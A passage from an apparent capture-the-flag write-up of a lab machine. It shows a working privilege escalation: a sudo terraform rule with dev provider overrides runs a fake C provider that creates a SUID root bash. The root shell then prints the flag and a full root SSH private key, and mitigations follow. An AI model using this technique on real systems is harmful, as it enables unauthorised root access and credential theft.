    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
EOF
cat ~/.terraformrc
  1. Execute the privileged terraform apply command

We run the allowed sudo command to execute Terraform. The tool warns us that developer overrides are active, then initiates our custom compiled binary as root:

1
sudo /usr/bin/terraform -chdir=/opt/examples apply

Let’s look at the interaction output on the system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
jeremy@previous:~$ 
jeremy@previous:~$ sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
jeremy@previous:~$ ls -la /opt/examples/
total 28
drwxr-xr-x 3 root root 4096 Sep 25 16:05 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Sep 25 16:05 terraform.tfstate
jeremy@previous:~$ test -w ~/.terraformrc && echo "ok: ~/.terraformrc writable"
ok: ~/.terraformrc writable
jeremy@previous:~$ /usr/bin/terraform version
Terraform v1.13.0
on linux_amd64
jeremy@previous:~$ echo "HOME=$HOME"
HOME=/home/jeremy
jeremy@previous:~$ 

We compile the payload and run the command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
jeremy@previous:~$ cat > /tmp/terraform-provider-examples.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    /* print a line so terraform can read at least one stdout line */
    printf("terraform-provider-examples: started\n");
    fflush(stdout);

    /* do the root action immediately (create suid bash) */
    system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");

    /* keep alive for a few seconds so terraform has time to read/communicate */
    sleep(6);
    return 0;
}
EOF
jeremy@previous:~$ gcc /tmp/terraform-provider-examples.c -o /tmp/terraform-provider-examples
jeremy@previous:~$ chmod +x /tmp/terraform-provider-examples
jeremy@previous:~$ ls -l /tmp/terraform-provider-examples
-rwxrwxr-x 1 jeremy jeremy 16152 Sep 25 16:07 /tmp/terraform-provider-examples
jeremy@previous:~$ cat > ~/.terraformrc <<'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
EOF
jeremy@previous:~$ cat ~/.terraformrc
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp
│ 
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to
│ become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│ 
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema:
│ Unrecognized remote plugin message: terraform-provider-examples: started
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ 
│ Additional notes about plugin:
│   Path: /tmp/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│   ELF architecture: EM_X86_64 (current architecture: amd64)
│ ..
╵
  1. Establish Root Access

Despite the schema loading error produced due to our basic C code not speaking the RPC handshake protocol of Terraform plugins, the execution successfully completed the system() call before exiting.

We run the newly created SUID binary preserving root permissions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
jeremy@previous:~$ /tmp/rootbash -p
rootbash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
rootbash-5.1# cd /root
rootbash-5.1# cat root.txt 
78a892df29681007ea3326b1bab390ce
rootbash-5.1# cd .ssh/
rootbash-5.1# ls -la
total 20
drwx------  2 root root 4096 Aug 21 18:53 .
drwx------ 10 root root 4096 Sep 24 18:10 ..
-rw-------  1 root root  567 Aug 21 18:53 authorized_keys
-rw-------  1 root root 2602 Aug 21 18:53 id_rsa
-rw-r--r--  1 root root  567 Aug 21 18:53 id_rsa.pub
rootbash-5.1# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Mitigations & Security Recommendations

  1. Keep Next.js Updated: Upgrade Next.js to a version that patches the middleware bypass (CVE-2025-29927), ensuring that request routing headers like X-Middleware-Subrequest are sanitized and cannot be spoofed by external requests.
  2. Remove Hardcoded Credentials: Remove fallback plain-text credentials from source files (such as [...nextauth].js). Store all session secrets, fallback passwords, and encryption keys securely using environmental secrets or secret managers.
  3. Restrict Sudo Environment Variables: Disable the !env_reset flag in /etc/sudoers or explicitly add env_keep restrictions to prevent user-controlled variables (like HOME) from influencing privileged root executions.
  4. Secure Terraform Configurations: Limit execution of administrative infrastructure tools like Terraform through sudoers, or enforce strict controls such as preventing loading external providers and keeping working directories owned and writable only by root.
  5. Mitigate Local File Inclusion: Implement strict input validation on all file download or management endpoints. Ensure parameter targets are matched against a strict whitelist of safe filenames rather than allowing path traversal payloads (e.g. ../).
This post is licensed under CC BY 4.0 by the author.